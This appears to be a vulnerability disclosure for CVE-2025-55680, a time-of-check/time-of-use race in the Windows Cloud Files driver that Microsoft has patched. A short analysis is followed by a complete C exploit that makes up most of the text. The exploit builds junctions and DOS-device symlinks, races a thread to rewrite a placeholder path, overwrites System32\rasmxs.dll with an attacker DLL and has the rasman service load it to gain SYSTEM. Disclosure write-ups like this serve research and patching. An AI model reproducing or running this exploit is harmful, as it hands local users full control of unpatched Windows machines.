Vendor Response
The vendor has released a patch for Windows that addresses this vulnerability: https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-55680
CVE
CVE-2025-55680
Credit
The vulnerability was disclosed during our TyphoonPWN Windows category and won first place.
Vulnerability Details
A vulnerability allows local users to bypass a file write vulnerability reported by project zero in 2020: https://project-zero.issues.chromium.org/issues/42451188
Vulnerability call chain:
HsmFltProcessHSMControl->HsmFltProcessCreatePlaceholders->HsmpOpCreatePlaceholders
To address this issue, Microsoft added the following code:
while ( 1 )
{
v23 = *(_WORD *)((char *)v52 + 2 * v22 + epi16);
if ( v23 == '\\' || v23 == ':' )
break;
if ( ++v22 >= (unsigned __int16)(WORD1(v18) >> 1) )
goto LABEL_51;
}
Which does not allow \ or : in the path to prevent symbolic link attacks, but the path string is obtained using the following code:
ProbeForRead(a4, Length, 4u);
MmProbeAndLockPages(MemoryDescriptorList, 1, IoReadAccess);
if ( (MemoryDescriptorList->MdlFlags & 5) != 0 )
MappedSystemVa = (char *)MemoryDescriptorList->MappedSystemVa;
else
MappedSystemVa = (char *)MmMapLockedPagesSpecifyCache(MemoryDescriptorList, 0, MmCached, 0i64, 0, 0x40000010u);
v46 = MappedSystemVa;
This allows us to bypass the above check through toctou (time-of-check to time-of-use) and regain the arbitrary file write vulnerability.
We then write test.dll to c:/windows/system32/rasmxs.dll and make the privileged service load this malicious dll to gain privilege escalation..
Full exploit details
Step1
DoStartSvc();
_mkdir("C:\\ProgramData\\cldpwn");
_mkdir("C:\\ProgramData\\cldpwn\\boo");
WCHAR* dir = (WCHAR*)L"C:\\ProgramData\\cldpwn";...
HRESULT hr = CfRegisterSyncRoot(dir, ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);init_symlink();
Step 1 is the initialization step.
First, start the rasman service and create two directories C:\ProgramData\cldpwn and C:\ProgramData\cldpwn\boo. Then use CfRegisterSyncRoot to set C:\ProgramData\cldpwn as the root path.
Step2
HANDLE dir_handle = CreateFileA("C:\\ProgramData\\cldpwn", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
DWORD BytesReturned;
char inbuffer[0x100] = { 0 };
*(int*)inbuffer = 0x9000001A;
*(int*)(inbuffer + 4) = 0xC0000007;
char outbuffer[0x1000] = { 0 };
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, &BytesReturned, 0);
Get the fielid through HsmiCldGetSyncRootInfo and use it as a parameter to call CfConnectSyncRoot
int hResult = FilterConnectCommunicationPort(L"\\CLDMSGPORT",
0,
context,
16,
NULL,
&port);
poc2(port);
Here is actually the build parameter calling CldSyncConnectRoot.
In fact, you can also directly refer to https://github.com/cssxn/CVE-2020-17136/blob/master/CVE_2020_17136.cpp to use CfConnectSyncRoot but there is no need to call this API at the time, as we were trying to find memory vulnerabilities in the driver, so we didn’t need to use the API, but a more low-level implementation.
Step3
wchar_t path[] = L"boo16.txt";
createthread test = (createthread)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateUserThread");
HANDLE a;char buffer11[0x100];
*(WORD*)(tmp + 0x8) = 0x100;
*(WORD*)(tmp + 0xa) = (lstrlenW(path)) * 2;
*(WORD*)(tmp + 0xc) = 0x20;
*(WORD*)(tmp + 0xe) = 0x30;
memcpy(tmp + 0x100, path, (lstrlenW(path) + 1) * 2);
...
*(int*)inbuffer = 0x9000001A;
*(int*)(inbuffer + 4) = 0xC0000001;
*(int*)(inbuffer + 8) = 0x1;
*(int*)(inbuffer + 16) = 0x200;
*(char**)(inbuffer + 24) = tmp;
while (1) {
*(char*)(tmp + 0x106) = 0x31;
*(char*)(tmp + 0x11a) = 0x31;
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, &BytesReturned, 0);
}
Same as above, DeviceIoControl actually corresponds to CfCreatePlaceholders. This will always try to create the boo16.txt file as a placeholder
void thread1() {
while (1) {
Sleep(5);
*(char*)(tmp + 0x106) = 0x5c;
}
}
At the same time, we created thread1 and tried to modify the memory continuously, changing the content of boo16.txt to boo/6.txt.
The status when the vulnerability is triggered is as follows:
The content of boo16.txt passes the check and FltCreateFileEx is called with the content of boo/6.txt.
The code does not set IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK, so any file creation is performed in KernelMode access mode, bypassing the access check
Since we previously symbolically linked boo/6.txt to c:/windows/system32/rasmxs.dll, this is actually equivalent to creating this file, and the user has read and write permissions for this file.
Step4
Constantly check if the rasmxs file is created. If the file is detected, write the content of test.dll to this file, and then use RPC to call LoadDeviceDLL in the rasmans service to load rasmxs.dll to complete the exploit
Exploit
#pragma once
#include <iostream>
#include <windows.h>
#include "d3dkmthk.h"
#include <map>
#include <iostream>
#define ulong unsigned long
#define ulonglong unsigned long long
#define longlong long long
#define ULONG unsigned long
#define ULONGLONG unsigned long long
#define ushort unsigned short
#define USHORT unsigned short
#define uchar unsigned char
#define UCHAR unsigned char
typedef struct _WNF_STATE_NAME {
ULONG Data[2];
}
WNF_STATE_NAME, * PWNF_STATE_NAME;
typedef struct _REPARSE_DATA_BUFFER {
ULONG ReparseTag;
USHORT ReparseDataLength;
USHORT Reserved;
union {
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
ULONG Flags;
WCHAR PathBuffer[1];
}
SymbolicLinkReparseBuffer;
struct {
USHORT SubstituteNameOffset;
USHORT SubstituteNameLength;
USHORT PrintNameOffset;
USHORT PrintNameLength;
WCHAR PathBuffer[1];
}
MountPointReparseBuffer;
struct {
UCHAR DataBuffer[1];
}
GenericReparseBuffer;
}
DUMMYUNIONNAME;
}
REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER;
typedef enum _WNF_STATE_NAME_LIFETIME {
WnfWellKnownStateName,
WnfPermanentStateName,
WnfPersistentStateName,
WnfTemporaryStateName
}
WNF_STATE_NAME_LIFETIME;
typedef enum _WNF_DATA_SCOPE {
WnfDataScopeSystem,
WnfDataScopeSession,
WnfDataScopeUser,
WnfDataScopeProcess,
WnfDataScopeMachine
}
WNF_DATA_SCOPE;
typedef struct _WNF_TYPE_ID {
GUID TypeId;
}
WNF_TYPE_ID, * PWNF_TYPE_ID;
typedef
const WNF_TYPE_ID * PCWNF_TYPE_ID;
typedef NTSTATUS(NTAPI * _NtCreateWnfStateName)(
_Out_ PWNF_STATE_NAME StateName,
_In_ WNF_STATE_NAME_LIFETIME NameLifetime,
_In_ WNF_DATA_SCOPE DataScope,
_In_ INT64 PersistData,
_In_opt_ INT64 TypeId,
_In_ INT64 MaximumStateSize,
_In_ PSECURITY_DESCRIPTOR SecurityDescriptor
);
typedef
const WNF_STATE_NAME * PCWNF_STATE_NAME;
typedef ULONG WNF_CHANGE_STAMP, * PWNF_CHANGE_STAMP;
typedef NTSTATUS(NTAPI * _NtUpdateWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_reads_bytes_opt_(Length) const VOID * Buffer,
_In_opt_ ULONG Length,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_
const PVOID ExplicitScope,
_In_ WNF_CHANGE_STAMP MatchingChangeStamp,
_In_ INT64 CheckStamp
);
typedef NTSTATUS(NTAPI * _NtDeleteWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_
const PVOID ExplicitScope
);
typedef NTSTATUS(NTAPI * _NtQueryWnfStateData)(
_In_ PCWNF_STATE_NAME StateName,
_In_opt_ PCWNF_TYPE_ID TypeId,
_In_opt_
const VOID * ExplicitScope,
_Out_ PWNF_CHANGE_STAMP ChangeStamp,
_Out_writes_bytes_to_opt_( * BufferSize, * BufferSize) PVOID Buffer,
_Inout_ PULONG BufferSize
);
typedef NTSTATUS(NTAPI * _NtFsControlFile)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN void * ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT void * IoStatusBlock,
IN INT64 FsControlCode,
IN PVOID InputBuffer OPTIONAL,
IN INT64 InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN INT64 OutputBufferLength
);
_NtQueryWnfStateData NtQueryWnfStateData;
_NtDeleteWnfStateData NtDeleteWnfStateData;
_NtCreateWnfStateName NtCreateWnfStateName;
_NtUpdateWnfStateData NtUpdateWnfStateData;
_NtFsControlFile NtFsControlFile;
WNF_STATE_NAME array[0x1000] = {
0
};
typedef NTSTATUS(NTAPI * _NtQuerySystemInformation)(
int InfoClass, void * OutputBuffer, ULONG OutputBufferLength, ULONG * pReturnedLength
);
typedef struct _OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
BOOLEAN TypeIndex;
CHAR ReservedByte;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
}
OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;
typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation = 0,
ObjectTypeInformation = 2
}
OBJECT_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI * _NtQueryObject)(
HANDLE Handle,
OBJECT_INFORMATION_CLASS ObjectInformationClass,
PVOID ObjectInformation,
ULONG ObjectInformationLength,
PULONG ReturnLength
);
_NtQuerySystemInformation NtQuerySystemInformation;
_NtQueryObject NtQueryObject;
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId; //at 0x0
USHORT CreatorBackTraceIndex; //at 0x2
UCHAR ObjectTypeIndex; //at 0x4
UCHAR HandleAttributes; //at 0x5
USHORT HandleValue; //at 0x6
PVOID Object; //at 0x8
ULONG GrantedAccess; //at 0x10
ULONG Pad; //at 0x14
};
typedef struct _SYSTEM_HANDLE_INFORMATION {
/* 0x0000 */
unsigned long NumberOfHandles;
/* 0x0008 */
struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
}
SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; /* size: 0x0020 */
char cmd[0x100] = {
0
};
#define SystemProcessInformation 0x5
#define SystemLocksInformation 0xC
#define SystemHandleInformation 0x10
#define SystemObjectInformation 0x11
#define SystemModuleInformation 0xB
#define SystemLoadedModuleInformation 0xB
#define SystemModuleInformationEx 0x4D
#define SystemSessionProcessInformation 0x35
#define SystemExtendedProcessInformation 0x39
#define SystemExtendedHandleInformation 0x40
#define SystemBigPoolInformation 0x42
#define SystemSessionBigPoolInformation 0x7D
#define SystemMemoryListInformation 80
#define FAKE_EPROCESS_SIZE 0x640
#define FAKE_EPROCESS_OFFSET 0x50
#define ProcessHandleTracing 0x20
#define ProcessWorkingSetWatch 0xF
#define ProcessWorkingSetWatchEx 0x2A
#define STATUS_UNSUCCESSFUL 0xC0000001
#define STATUS_NOT_IMPLEMENTED 0xC0000002
#define STATUS_INVALID_INFO_CLASS 0xC0000003
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
struct _SYSTEM_MODULE {
ulonglong Pad0; //at 0x0
ulonglong Pad1; //at 0x8
void * ImageBase; //at 0x10
ulong SizeOfImage; //at 0x18
ulong Flags; //at 0x1C
ushort Index; //at 0x20
ushort bUserMode; //at 0x22,0 kernelmodule,sameas Index user
ushort LoadCount; //at 0x24
ushort BaseNameOffset; //at 0x26
unsigned char FullDllName[0x100]; //at 0x28
};
struct _SYSTEM_MODULE_LIST {
ulong NumberOfModules;
ulong Pad;
_SYSTEM_MODULE Module[1];
};
// filter_.cpp
//
#include <stdio.h>
#include <direct.h>
#include <stdlib.h>
#include<windows.h>
#include<string.h>
#include<wchar.h>
#include <ntsecapi.h>
#include<time.h>
#include<stdlib.h>
#include<malloc.h>
#include <clfsw32.h>
#include <fltUser.h>
#include <string>
#include <cfapi.h>
#include "Header.h"
SC_HANDLE schSCManager;
SC_HANDLE schService;
void * user_space;
char * tmp;
INT64 event_addr, event_addr1 = 0;
HANDLE eventa, eventb = 0;
typedef ULONG(NTAPI * createthread)(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT PULONG StackReserved,
IN OUT PULONG StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter OPTIONAL,
OUT PHANDLE ThreadHandle,
OUT PDWORD ClientID);
HANDLE port, port1, dev;
INT64 fileid, stream_key;
#define FIELD_SIZE(type, field)(sizeof(((type * ) 0) -> field))
#define CF_SIZE_OF_OP_PARAM(field)(FIELD_OFFSET(CF_OPERATION_PARAMETERS, field) + FIELD_SIZE(CF_OPERATION_PARAMETERS, field))
VOID __stdcall DoStartSvc() {
wchar_t szSvcName[] = L "rasman";
SERVICE_STATUS_PROCESS ssStatus;
DWORD dwOldCheckPoint;
DWORD dwStartTickCount;
DWORD dwWaitTime;
DWORD dwBytesNeeded;
// Get a handle to the SCM database.
schSCManager = OpenSCManager(
NULL, // local computer
NULL, // servicesActive database
SERVICE_START | SERVICE_QUERY_STATUS); // full access rights
if (NULL == schSCManager) {
printf("OpenSCManager failed (%d)\n", GetLastError());
return;
}
// Get a handle to the service.
schService = OpenService(
schSCManager, // SCM database
szSvcName, // name of service
SERVICE_START | SERVICE_QUERY_STATUS); // full access
if (schService == NULL) {
printf("OpenService failed (%d)\n", GetLastError());
CloseServiceHandle(schSCManager);
return;
}
// Check if the service is already running. It would be possible
// to stop the service here, but for simplicity this example just returns.
// Save the tick count and initial checkpoint.
// Attempt to start the service.
if (!StartService(
schService, // handle to service
0, // number of arguments
NULL)) // no arguments
{
printf("StartService failed (%d)\n", GetLastError());
}
if (!QueryServiceStatusEx(
schService, // handle to service
SC_STATUS_PROCESS_INFO, // info level
(LPBYTE) & ssStatus, // address of structure
sizeof(SERVICE_STATUS_PROCESS), // size of structure
&
dwBytesNeeded)) // if buffer too small
{
printf("QueryServiceStatusEx failed (%d)\n", GetLastError());
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return;
}
// Save the tick count and initial checkpoint.
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
while (ssStatus.dwCurrentState == SERVICE_START_PENDING) {
// Do not wait longer than the wait hint. A good interval is
// one-tenth the wait hint, but no less than 1 second and no
// more than 10 seconds.
dwWaitTime = ssStatus.dwWaitHint / 10;
if (dwWaitTime < 1000)
dwWaitTime = 1000;
else if (dwWaitTime > 10000)
dwWaitTime = 10000;
Sleep(dwWaitTime);
// Check the status again.
if (!QueryServiceStatusEx(
schService, // handle to service
SC_STATUS_PROCESS_INFO, // info level
(LPBYTE) & ssStatus, // address of structure
sizeof(SERVICE_STATUS_PROCESS), // size of structure
&
dwBytesNeeded)) // if buffer too small
{
printf("QueryServiceStatusEx failed (%d)\n", GetLastError());
break;
}
if (ssStatus.dwCheckPoint > dwOldCheckPoint) {
// Continue to wait and check.
dwStartTickCount = GetTickCount();
dwOldCheckPoint = ssStatus.dwCheckPoint;
} else {
if (GetTickCount() - dwStartTickCount > ssStatus.dwWaitHint) {
// No progress made within/ the wait hint.
break;
}
}
}
// Determine whether the service is running.
if (ssStatus.dwCurrentState == SERVICE_RUNNING) {
printf("Service started successfully.\n");
}
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
}
VOID ACK_RENAME(CF_CALLBACK_INFO * info, _In_ CONST CF_CALLBACK_PARAMETERS * CallbackParameters) {
CF_OPERATION_INFO op_info = {
0
};
CF_OPERATION_PARAMETERS op_params = {
0
};
op_info.StructSize = sizeof(op_info);
op_info.Type = CF_OPERATION_TYPE_ACK_RENAME;
op_info.ConnectionKey = info -> ConnectionKey;
op_info.TransferKey = info -> TransferKey;
op_info.RequestKey = info -> RequestKey;
op_params.ParamSize = CF_SIZE_OF_OP_PARAM(CF_OPERATION_PARAMETERS::AckRename);
op_params.AckRename.CompletionStatus = 0;
printf("callback!\n");
CfExecute( & op_info, & op_params);
}
void poc2(HANDLE port1) {
char buffer[0x200];
DWORD * buffer1 = (DWORD * ) buffer;
memset(buffer, 0, 0x200);
char out[0x200] = {
0
};
DWORD re;
*(DWORD * )(buffer) = 0x706D6C43;
*(DWORD * )(buffer + 8) = 0x200;
*(byte * )(buffer + 12) = 0;
*(WORD * )(buffer + 14) = 0x17;
*(WORD * )(buffer + 16) = 0x7;
*(WORD * )(buffer + 18) = 0x1;
*(WORD * )(buffer + 20) = 0x100;
*(WORD * )(buffer + 24) = 0x8;
*(WORD * )(buffer + 26) = 0x2;
*(WORD * )(buffer + 28) = 0x1f0;
*(WORD * )(buffer + 0x1f0) = 0x4;
*(WORD * )(buffer + 32) = 11;
*(WORD * )(buffer + 34) = 8;
*(WORD * )(buffer + 36) = 0x1e0;
*(DWORD * )(buffer + 0x1e0) = (DWORD) dev;
*(WORD * )(buffer + 0x30) = 6;
*(WORD * )(buffer + 0x32) = 8;
*(WORD * )(buffer + 0x34) = 0x1e0;
*(WORD * )(buffer + 0x38) = 10;
*(WORD * )(buffer + 0x3a) = 4;
*(WORD * )(buffer + 0x3c) = 0x1e8;
*(INT * )(buffer + 0x1e8) = 0;
*(WORD * )(buffer + 0x78) = 10;
*(WORD * )(buffer + 0x7a) = 4;
*(WORD * )(buffer + 0x7c) = 0x1c0;
*(INT * )(buffer + 0x1c0) = 0x40;
*(WORD * )(buffer + 0x80) = 10;
*(WORD * )(buffer + 0x82) = 4;
*(WORD * )(buffer + 0x84) = 0x1ec;
*(INT * )(buffer + 0x1ec) = 0;
*(WORD * )(buffer + 0xc0) = 6;
*(WORD * )(buffer + 0xc2) = 8;
*(WORD * )(buffer + 0xc4) = 0x1d0;
*(INT64 * )(buffer + 0x1d0) = fileid;
FilterSendMessage(port1, buffer, 0x200, out, 0x200, & re);
}
struct param {
char name[32];
int64_t type;
int offset;
int len;
int64_t ptr;
};
int offset = 0x1805c; //0x18cf8
typedef ULONG(NTAPI * submit_request)
(void * a1, int64_t a2);
void trigger_loadlibrary(int index) {
DWORD buf[0x800];
memset(buf, 0, 0x800);
buf[0] = index;
buf[1] = 0xe; //function code RasSetTriggerAuthData
buf[2] = 8;
memcpy( & buf[8], "SWITCH", 7);
memcpy( & buf[12], "WAN Miniport (IKEv2)", 0x20);
buf[46] = 1;
param * tmp = (param * ) & buf[48];
memcpy(tmp -> name, "PhoneNumber", 16);
tmp -> type = 1;
tmp -> offset = 0x10;
tmp -> ptr = 0x38;
memcpy( & buf[62], "192.168.200.1", 16);
char * a = (char * ) LoadLibraryA("rasman.dll");
submit_request z = (submit_request)(a + offset);
//z(1,0x200,buf);
z(buf, 0x1cab);
}
void thread1() {
wchar_t path[] = L "boo\\starpoint\\3.txt";
while (1) {
Sleep(5);
*(char * )(tmp + 0x106) = 0x5c;
}
}
void thread2() {
char buf[] = "pwned!";
HANDLE hSourceFile;
hSourceFile = CreateFileA("test.dll", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hSourceFile == INVALID_HANDLE_VALUE) {
printf("open test.dll fail\n");
exit(0);
}
char buffer[1024] = {
0
};
DWORD bytesRead;
DWORD size;
while (1) {
Sleep(1000);
HANDLE handle = CreateFile((LPCWSTR) L "C:\\Windows\\System32\\rasmxs.dll", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_UNPINNED, NULL); // must be FILE_ATTRIBUTE_UNPINNED
if ((INT) handle > 0) {
while (ReadFile(hSourceFile, buffer, sizeof(buffer), & bytesRead, NULL) && bytesRead > 0) {
WriteFile(handle, buffer, bytesRead, NULL, NULL);
}
CloseHandle(handle);
trigger_loadlibrary(1);
exit(0);
}
}
}
BOOL CreateJunction(LPCWSTR dir, LPCWSTR target) {
HANDLE hJunction;
DWORD cb;
wchar_t printname[] = L "";
HANDLE hDir;
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("[!] Failed to obtain handle on directory %ls.\n", dir);
return FALSE;
}
SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR);
SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR);
SIZE_T PathLen = TargetLen + PrintnameLen + 12;
SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer));
PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER) malloc(Totalsize);
Data -> ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
Data -> ReparseDataLength = PathLen;
Data -> Reserved = 0;
Data -> MountPointReparseBuffer.SubstituteNameOffset = 0;
Data -> MountPointReparseBuffer.SubstituteNameLength = TargetLen;
memcpy(Data -> MountPointReparseBuffer.PathBuffer, target, TargetLen + 2);
Data -> MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2);
Data -> MountPointReparseBuffer.PrintNameLength = (USHORT) PrintnameLen;
memcpy(Data -> MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2);
if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, & cb, NULL) != 0) {
printf("[+] Junction %ls -> %ls created!\n", dir, target);
free(Data);
return TRUE;
} else {
printf("[!] Error on creating junction %ls -> %ls : Error code %d\n", dir, target, GetLastError());
free(Data);
return FALSE;
}
}
BOOL DeleteJunction(LPCWSTR dir) {
HANDLE hJunction;
DWORD cb;
wchar_t printname[] = L "";
HANDLE hDir;
hDir = CreateFile(dir, FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
if (hDir == INVALID_HANDLE_VALUE) {
printf("[!] Failed to obtain handle on directory %ls.\n", dir);
return FALSE;
}
REPARSE_GUID_DATA_BUFFER buffer = {
0
};
BOOL ret;
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
if (DeviceIoControl(hDir, FSCTL_DELETE_REPARSE_POINT, & buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, & cb, NULL)) {
printf("[+] Junction %ls deleted!\n", dir);
return TRUE;
} else {
printf("[!] Error: %d.\n", GetLastError());
return FALSE;
}
}
BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) {
printf("[+] Symlink %ls -> %ls created!\n", object, target);
return TRUE;
} else {
printf("[!] Error in creating Symlink : %d\n", GetLastError());
return FALSE;
}
}
BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) {
if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) {
printf("[+] Symlink %ls -> %ls deleted!\n", object, target);
return TRUE;
} else {
printf("[!] Error in deleting Symlink : %d\n", GetLastError());
return FALSE;
}
}
void init_symlink() {
if (!CreateJunction(L "C:\\ProgramData\\cldpwn\\boo\\", L "\\RPC Control")) {
printf("[!] Failed to create junction! Exiting!\n");
exit(1);
}
if (!DosDeviceSymLink(L "GLOBAL\\GLOBALROOT\\RPC Control\\6.txt", L "\\??\\C:\\Windows\\System32\\rasmxs.dll")) {
printf("[!] Failed to create symlink! Exiting!\n");
exit(1);
}
}
void clear_symlink() {
DeleteJunction(L "C:\\ProgramData\\cldpwn\\boo\\starpoint\\");
DelDosDeviceSymLink(L "GLOBAL\\GLOBALROOT\\RPC Control\\6.txt", L "\\??\\C:\\Windows\\System32\\rasmxs.dll");
}
int main() {
DoStartSvc();
_mkdir("C:\\ProgramData\\cldpwn");
_mkdir("C:\\ProgramData\\cldpwn\\boo");
init_symlink();
tmp = (char * ) malloc(0x200);
memset(tmp, 0, 0x200);
//_rmdir("C:\\ProgramData\\cldpwn");
WCHAR * dir = (WCHAR * ) L "C:\\ProgramData\\cldpwn";
GUID guid = {
0
};
guid.Data1 = 0xB196E670;
guid.Data2 = 0x59C7;
guid.Data3 = 0x4D42;
CF_SYNC_REGISTRATION reg = {
0
};
reg.StructSize = sizeof(reg);
reg.ProviderName = L "test";
reg.ProviderVersion = L "1.0";
reg.ProviderId = guid;
CF_SYNC_POLICIES policies = {
0
};
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.InSync = CF_INSYNC_POLICY_NONE;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hr = CfRegisterSyncRoot(dir, & reg, & policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (FAILED(hr)) {
printf("CfRegisterSyncRoot failed with %p\n", hr);
return 1;
}
dev = CreateFileA("C:\\ProgramData\\cldpwn\\12344.txt", GENERIC_READ | GENERIC_WRITE, NULL, NULL, CREATE_ALWAYS, NULL, NULL);
if (dev == INVALID_HANDLE_VALUE) {
printf("Failed!%d\n", GetLastError());
system("pause");
}
HANDLE dir_handle = CreateFileA("C:\\ProgramData\\cldpwn", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);
DWORD BytesReturned;
char inbuffer[0x100] = {
0
};
*(int * ) inbuffer = 0x9000001A;
*(int * )(inbuffer + 4) = 0xC0000007;
char outbuffer[0x1000] = {
0
};
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, & BytesReturned, 0);
fileid = * (INT64 * ) outbuffer;
char buffer[0x200];
DWORD * buffer1 = (DWORD * ) buffer;
memset(buffer, 0, 0x200);
char out[0x200] = {
0
};
DWORD re;
char context[0x200] = {
0
};
*(DWORD * )(context) = 0x63706C43;
*(DWORD * )(context + 4) = 0x1;
int hResult = FilterConnectCommunicationPort(L "\\CLDMSGPORT",
0,
context,
16,
NULL, &
port);
hResult = FilterConnectCommunicationPort(L "\\CLDMSGPORT",
0,
context,
16,
NULL, &
port1);
/*
CF_CALLBACK_REGISTRATION* table = new CF_CALLBACK_REGISTRATION[3];
table[0].Callback = (CF_CALLBACK)ACK_RENAME;
table[0].Type = CF_CALLBACK_TYPE_NOTIFY_RENAME;//io callback CF_CALLBACK_TYPE_FETCH_DATA
table[1].Callback = (CF_CALLBACK)ACK_RENAME;
table[1].Type = CF_CALLBACK_TYPE_NOTIFY_FILE_OPEN_COMPLETION;//io callback CF_CALLBACK_TYPE_FETCH_DATA
//末尾结束
table[2].Callback = NULL;
table[2].Type = CF_CALLBACK_TYPE_NONE;
CF_CONNECTION_KEY key = { 0 };
PVOID ptr = NULL;
INT hresult = CfConnectSyncRoot(dir, table, ptr, CF_CONNECT_FLAG_NONE, &key);
*/
poc2(port);
wchar_t path[] = L "boo16.txt";
createthread test = (createthread) GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateUserThread");
HANDLE a;
char buffer11[0x100];
*(WORD * )(tmp + 0x8) = 0x100;
*(WORD * )(tmp + 0xa) = (lstrlenW(path)) * 2;
*(WORD * )(tmp + 0xc) = 0x20;
*(WORD * )(tmp + 0xe) = 0x30;
memcpy(tmp + 0x100, path, (lstrlenW(path) + 1) * 2);
test(GetCurrentProcess(), NULL, FALSE, NULL, 0, 0,
thread1, NULL, & a, (PDWORD) buffer11);
test(GetCurrentProcess(), NULL, FALSE, NULL, 0, 0,
thread2, NULL, & a, (PDWORD) buffer11);
*(int * ) inbuffer = 0x9000001A;
*(int * )(inbuffer + 4) = 0xC0000001;
*(int * )(inbuffer + 8) = 0x1;
*(int * )(inbuffer + 16) = 0x200;
*(char ** )(inbuffer + 24) = tmp;
while (1) {
*(char * )(tmp + 0x106) = 0x31;
*(char * )(tmp + 0x11a) = 0x31;
DeviceIoControl(dir_handle, 0x903BC, inbuffer, 0x98, outbuffer, 0x1000, & BytesReturned, 0);
}
Sleep(0x10000000);
return 0;
}